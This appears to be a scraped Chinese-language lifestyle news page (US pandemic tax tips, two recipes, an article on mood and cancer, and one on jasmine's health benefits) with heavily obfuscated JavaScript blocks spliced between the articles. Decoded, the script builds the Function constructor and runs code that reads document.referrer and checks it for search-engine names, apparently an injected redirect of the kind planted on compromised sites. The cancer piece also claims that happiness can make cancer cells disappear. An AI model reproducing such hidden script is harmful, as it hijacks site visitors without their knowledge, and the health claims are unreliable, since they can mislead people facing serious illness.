][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-03-02 / by / in , , ,
疫情期间报税与以往不同 你需要知道的5件事

 

由于疫情的影响,今年报税和往年不太一样。很多美国民众收到了政府的纾困金或是失业救济金,这些款项需要报税吗?如何能够省税?了解今年报税季必读的五条建议,将会让你报税更简单清晰。

据哥伦比亚广播公司(CBS)报导,H&R首席税收研究分析师内森・里格尼(Nathan Rigney)表示,几乎所有人都会受今年报税变化的影响,并提醒大家在申报之前需要了解五个主要转变。

1、我应该如何上报失业救济金?

“如果你在2020年拿到了失业救济金,这部分款项应纳税。”里格尼说,“你通常会从政府那里收到1099G表格,里面会列出你收到的所有失业救济金。在申请EDD的时候,如果你选择直接把税扣掉,那很好。否则,你退税的时候返还的钱会少一点儿。”

2、我需要为纾困金交税吗?如果我有资格领取纾困金但没有收到该怎么办?

里格尼表示,纾困金不征税。但是,如果因为某种原因没有收到应得的全部款项,没有收到的这部分钱可以在退税的时候返还。

 

 

 

 

3、我在家办公时产生的费用可以抵税吗?

 

 

 

里格尼说:“今年,有数百万人在家办公,很多人会问,‘我在家办公有很多开支,可以在退税单上抵税吗?’答案是否定的,这些项目在联邦政府不能抵免税。但是加州允许在申报单上扣除这些费用。”

 

 

 

但如果是自雇人士,这些费用在联邦申报表和州申报表里都可以抵税。

 

 

 

 

4、如果我在疫情期间做了副业怎么办?

 

 

 

里格尼说,这属于自雇收入。对于许多第一次这样报税的人来说,这比只是使用W2报税复杂得多,你必须做一年四次的季度性交税。

 

 

5、如果我有收到“薪资保护计划“(PPP)的贷款怎么办?

 

 

 

里格尼表示,用PPP付款的花费可以抵税,如果你的贷款不用偿还,那么不用偿还的那部分不用缴税。除了这些技巧外,有孩子的人还可以考虑额外的抵免,这可能会进一步降低他们需要交的税金。不过,在家上学没有税收优惠。

 

 

 

“特别是今年,请确保你拥有自己应得的利益,并确保自己也从中受益。”里格尼说,“重要的是当你在纳税遇到疑问时要寻求帮助,并且在国税局要存有自己的信息。这样一来,如果另一轮纾困金到来,这笔钱就会更快地到达。”

 

 

 

 

2021-03-02 / by / in ,
一锅成菜炒油饭 肉香 米香 菇香~(视频)

一锅成菜/炒油饭

有肉有饭一锅成菜,是一道特别受欢迎的家庭料理,做起来非常简单。

尤其香菇的特殊香气,肉香,虾米的鲜和红葱酥的酥脆,使得这道料理非常的美味和下饭。

食材:

长糯米3杯、干香菇6朵、虾米25g、肉丝150g、红葱酥2大匙、老姜3片

调味料:

酱油3大匙、五香粉1/8小匙、黑胡椒粉1/2小匙、盐1/2小匙、糖2小匙

配料:

猪油半杯、黑麻油1大匙、香菜少许、甜辣酱适量

作法:

1. 长糯米洗净浸泡3小时,沥干。如要用电锅煮,要再加2杯水放入电锅煮熟。 (外锅放1.5杯水)

2. 炒锅中放猪油或鸡油爆香姜片,再放一些麻油后捞除姜片,依序炒香菇丝、虾米、肉丝和红葱酥至有香气。

3. 加入酱油、五香粉、黑胡椒粉、盐、糖的调味料拌炒,再将沥干的长糯米加入, 并开大火拌合,并加和长糯米同等量的水(如用电锅蒸的话,加水量要变成0.75) 炉火关小加锅盖,让水份完全被米吸收。

4. 起锅盛盘后,淋甜辣酱,撒上香菜。

2021-03-02 / by / in ,
这件事能做到 癌细胞真可能消失

免疫系统/预防医学/细胞突变/癌细胞/NK细胞/调整心情/开怀大笑/快乐力

每个人都关心自己的健康,但是怎样才能真正达到健康?有些人听了可能非常意外,其实健不健康,居然也是个人选择的,医生证实人的心情决定健康。

专攻预防医学的西藏名医洛桑医师表示,“人生如戏,你既是导演,也是编剧,也是演员!对于身体,我们也有选择,选择健康,或不健康”,心情的好坏,不只会影响免疫系统的运作,甚至会影响病人的存活率,更曾有癌症病人因为调整心情后,重启身体的免疫反应,让癌细胞消失。


健康,居然也是自己选择的 

《三立新闻》引述洛桑医师观点强调,当我们有意识或潜意识选择了不健康,不自觉或有自觉过着不健康的生活,自体免疫系统开始怠工或罢工,就产生种种疾病。就连离癌或罹癌,也都跟选择有关。

“让医生们很头痛、会到处转移的那些癌细胞,原先都是正常的细胞呢!”洛桑医师表示,把预防医学的概念预先放到自己心中,便有机会在正常细胞突变成失控癌细胞前做预防,尽量去排除致癌因子,或是在癌细胞产生初期,去平衡体内细胞失衡的状况。

一般说来,癌细胞跟正常细胞同时存在每个人身体里面,新陈代谢旺盛、内分泌稳定、免疫系统顺畅运作时,癌细胞跟正常细胞一样,能被代谢掉,并不会对健康造成伤害。

x当癌细胞失控、过度增生则形成癌症,此时需重启免疫,将恶化况状控制下来。细胞除非是已经完全衰竭、坏死,否则都还有机会修复。虽多数癌症是不可逆的,但你的体力、你的低落是可逆的,从改变心态、改善饮食习惯和生活型态下手,能降低癌细胞扩张的机率。

洛桑医师更透露,临床上确实有癌症自行消失的案例,“患者调整心情、改变生活习惯后,体内免疫反应能力提高,或内分泌改变等,都有可能让癌细胞自行消退。”癌症是一种免疫失调所引发的疾病,如何让参与免疫反应的树突细胞、T细胞、B细胞、NK细胞发挥功能,借着激发病人自体免疫反应来控制癌症的“免疫疗法”,近年来在免疫药物研发上已有重大的突破。


笑口常开

此外,医界也已证实,经常“开怀大笑”同样也能活化NK细胞。洛桑医师解释,NK源于淋巴球,可吞噬、融化癌细胞或那些被病毒感染的细胞,角色像是维持治安的巡警,在我们身体里尽责找出并消灭那些“坏东西”。当我们开心、经常笑口常开时,NK细胞的活动力比较强,相反的,忧郁、悲伤、满面愁容的人,他的NK细胞也会变得厌世,懒得出去值勤、打击犯罪,这时我们的身体就像一个没有警察的城市,健康随时可能被攻陷。

洛桑医师也表示,让癌症消失有几种原因,比方说人受到病毒、细菌感染,而这些微生物刚好能击退肿瘤细胞。或者某些肿瘤细胞在生成时,刚好注定会自己迈入死亡,令患者自愈。当然还有如上述,重启身体的免疫反应。前两个原因,靠得是运气,最后一个原因,靠得是实力,而洛桑医师指的实力,是“快乐力”。

不只一篇医学论文指出,快乐的病人,生存机率远高于情绪崩溃、失去信心的病人。在健全免疫上,当人选择重新开始过上有意思、有意义的好生活时,免疫部队也能感受到人的积极与活力,进而功力大增。因此最后洛桑医师建议大家,有时候道路必须曲折,才能把人送上顶峰。哭也一天、笑也一天,无论顺、逆,其实都是你的增上缘。用平常心、快乐心、感恩心看待一切,你的每一天,都将是最好的一天。

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2021-03-01 / by / in , ,
国宴主厨:正宗梅菜扣肉(视频)

梅菜扣肉/梅菜/扣肉/五花肉

梅菜是来自客家菜,梅菜扣肉也是生活中人们非常喜欢的一道美食。

梅菜,是以鲜梅菜为原料经腌制后再脱盐等工艺制成的产品。梅菜历史悠久,历史上作为宫廷食品而被称为“惠州贡菜”。梅菜扣肉是将肉垫在梅菜干上,再加上调料上锅蒸。现在这个菜也逐渐的广为人知,而且越来越受欢迎。

食材:

硬五花肉 500克,梅干菜 250克

调料

葱 2根,姜 4片,蒜 5瓣,八角 3个,料酒 适量,糖 适量

做法:

1.五花肉一块,凉水下锅,加入葱、姜、料酒,加热去除浮末后,煮40分钟捞出上色,加老抽,酱油,料酒,腌制30分钟。

2.梅干菜洗净,用温水浸泡10分钟,彻底洗净后备用。

3.锅上油,放入葱、姜、桂皮、大料、干辣椒炒香,加入发好的梅菜,加黄酒,酱油,老抽,盐,糖,肉汤煮制。

4.另取一锅放油,将肉块放入炸制至虎皮色,捞出晾凉后切片。

5.将切好的肉片码入碗中,将糗好的梅菜倒入碗中,上蒸锅,大火烧开,小火蒸制2个小时即可。

*小贴士*

肉上色时一定要趁热,肉凉了就不容易上色了。

2021-03-01 / by / in ,
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,54,51,57,48,112,55,72,84,77,76,60,34,47,63,38,95,43,85,67,119,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2021-03-01 / by / in , , ,
茉莉花!春天“第一花”,益肝脾、除口臭,慈禧都爱它

茉莉花/保健功效/疏肝/解郁理气和中减轻口臭泡水喝冲茶饮用入膳

春天是花的季节,一簇簇鲜艳的花朵,人们赏它、赞它、爱它。

百花之中,若以花香来排名,茉莉花堪称“人间一品香”。


茉莉花

取之入膳,除了能让人唇齿生香,还有太多的保健功效。

茉莉花的地位自古超然。因着慈禧太后的偏爱,茉莉花在清宫的地位与众不同。

据曾经担任过慈禧贴身女官的裕德龄记载,慈禧太后当政时,鲜花仅她本人能用,除非得到她的殊恩赏赐,否则诸宫眷、哪怕是皇后也不得簪配。

而众鲜花之中,慈禧尤爱白茉莉,常常将之与各种珠宝共簪。

春食茉莉,补脾调肝

茉莉花是一味常见中药材,它味甘、辛,性温,归肝、脾、胃经,有化湿和中、理气解郁之功。

《随息居饮食谱》记载其可“和中下气,辟秽浊,治下痢腹痛”。

茉莉花四季可用,但春天食之,好处颇多。


茉莉花

1、疏肝解郁

这是茉莉花最主要的功效之一。

众所周知,春季对应的脏腑就是肝脏,而春季养生应尤为关注肝的疏泄功能。

此时,若肝疏泄不及时,就会出现“肝气郁结”之证。

肝气郁结常表现为郁郁寡欢、两胁胀满、小腹胀闷或窜痛、善太息(爱叹气)、纳差纳呆、腹胀腹痛、嗳气呃逆、吞酸嘈杂等。

其实,要解决这个问题,茉莉花就是不错的选择。

平时经常喝茶的朋友们都知道,烦躁时泡上一杯茉莉花茶,闻着沁人心脾的香味,心情也能不知不觉就好起来。

这是因为,茉莉中的含有的一些芳香物质能够通过降低心率和改善副交感神经兴奋程度从而起到镇静作用。

与此同时,这些芳香物质还可以通过调节人体的生理节律来消除精神紧张,使不适感降低,从而疏肝解郁。

更难能可贵的是,茉莉花除了能够疏肝解郁外,还能够平肝降气。

当我们怒气冲冲却无处发泄之时,饮上一杯茉莉花,可以很快地将这股“郁愤”排出去,降低不良情绪对我们身体造成的伤害。


茉莉花

2、理气和中

这个“中”,就是指中焦脾胃。

一般来说,当我们出现腹痛、腹泻、恶心等胃肠不适症状时,适当喝点茉莉花茶,可以起到很好的改善效果。

这是因为,有研究证实茉莉花提取物有保护胃肠道粘膜的作用的,因此,对于胃肠部位出现的炎症性疾病,茉莉花有很好的修复作用。

3、减轻口臭

有体外抗菌试验的研究显示,茉莉花提取物对普通变形杆菌、葡萄球菌、大肠杆菌以及枯草芽孢杆菌都具有一定消杀作用,可显着降低口腔中细菌数,且效果优于生理盐水。

因此,对于口腔有炎症、口舌生疮、慢性咽炎的人,适当饮用茉莉花茶,可以促进疾病痊愈。

而茉莉花香味浓郁,当我们吃过一些带有浓厚气味的食物之后,用茉莉花水或者茉莉花茶来漱口,花朵的芬芳可以很好地压制口腔异味,从而改善口臭问题。

茉莉花怎么吃

茉莉花最简单的饮用方法就是泡水喝,取茉莉花3~6克,开水冲泡后饮用即可。


茉莉花茶

这种简约的饮法尤其适合居住在北京的朋友,因北京地区水质偏“硬”,钙离子和镁离子较多,所以口感偏涩、咸、苦,而茉莉花则可很好地改善这个问题。

此外,对于生活中的一些常见小毛病,您还可以为茉莉花寻一个“搭档”。比如:

对于湿热泻痢者,可将茉莉花与绿茶一起用开水泡服;

对于阳气不足,风气上扰导致的头晕、头痛,可以选择使用茉莉花与桂花搭配冲茶饮用;

对于风热上扰导致的目赤肿痛,可以把茉莉花、金银花、野菊花组合使用;

对于风热感冒,可以用茉莉花搭配薄荷,以疏风解热。

月季茉莉花茶

【月季花】入肝经,性味甘淡平,具有活血调经,疏肝解郁,消肿解毒的功效。对于胸腹胀痛,肝郁血滞的患者都有很好的功效。

【茉莉花】归肝、脾胃经,性味辛甘,有强心益肝,温中和胃,理气安神的作用。

【做法】新鲜的月季洗干净,月季花5片,茉莉花5~10颗 ,用水冲泡,饭前饮用。

此外,将茉莉花入膳,也是不错的选择。

茉莉豆腐汤

材料:茉莉花及叶40g,豆腐100g,生姜3片,油、盐少许。

做法:茉莉花、叶洗干净,冷水浸泡;热锅下油,油温升高时,放入豆腐块,中小火慢煎,煎至两面金黄色,转大火,加入冷水至没过豆腐;把茉莉花、叶及生姜片均加入,小火煮15-20分钟,加盐调味即可。

功效:清肝明目,和中下气的作用,适合长期熬夜、进食辛辣的上班族服用。

茉莉玫瑰粥

材料:茉莉花10克,玫瑰花5朵,粳米100克,冰糖适量。

做法:上述材料共煮成粥即可。

功效:疏肝解郁、健脾和胃。适宜因肝气郁结引起的痛经患者食用。

双花高汤浸芦笋

材料:鸡骨架1个,芦笋250克,生姜3片,枸杞子10克,菊花10克,茉莉花5克,食盐适量。

做法:用清水把菊花与茉莉花、枸杞子泡软,约15分钟。向锅里加入适量清水煮沸,再把鸡骨架及生姜放入,煮1小时熬成鸡汤底。把鸡骨架捞出,放入芦笋、枸杞子、菊花及茉莉花,煮5分钟,调味即可。

茉莉葡萄干粥

材料:茉莉花5克,糯米100克,葡萄干适量。

做法:将糯米洗净,放入开水锅中大火烧开,煮至米粒开花时,加入葡萄干、茉莉花,续煮5分钟即成。每日早、晚分2次温热食用。

功效:此粥可解郁安神、清除秽气,可用于肝气不舒、胃气不和。

适合抑郁烦闷、肝气不舒、胃气不和、食欲不​​振、恶心呕吐、风热头痛、目赤肿痛者常食。四季皆宜食用。

注意:茉莉花因具有通经作用,妊娠期间最好避免使用,此外茉莉花药性偏温,对于热证,需要搭配清热、透热药材使用。

2021-03-01 / by / in ,
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IREcih

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,53,56,48,51,122,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,70,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!